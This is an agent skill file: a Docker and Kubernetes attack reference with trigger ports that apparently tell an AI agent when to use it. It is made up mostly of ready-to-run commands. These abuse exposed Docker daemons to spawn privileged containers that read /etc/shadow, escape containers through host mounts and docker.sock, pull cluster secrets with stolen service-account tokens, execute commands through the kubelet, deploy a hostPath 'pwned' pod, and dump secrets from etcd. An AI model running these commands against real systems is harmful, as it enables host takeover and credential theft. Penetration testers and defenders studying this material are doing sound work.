---
name: svc-docker-k8s
description: Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock.
---

# Docker & Kubernetes Attack Reference

## Docker API (2375/2376)
```bash
# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json

# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'

# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true
```

## Container Escape
```bash
# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

# Privileged container escape
fdisk -l                           # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt

# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt

# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container
```

## Kubernetes API (6443/8443)
```bash
# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version

# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets

# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
```

## K8s RBAC Abuse
```bash
# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods

# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow"]
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF
```

## etcd (2379)
```bash
# Unauthenticated etcd — contains all K8s secrets
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix
```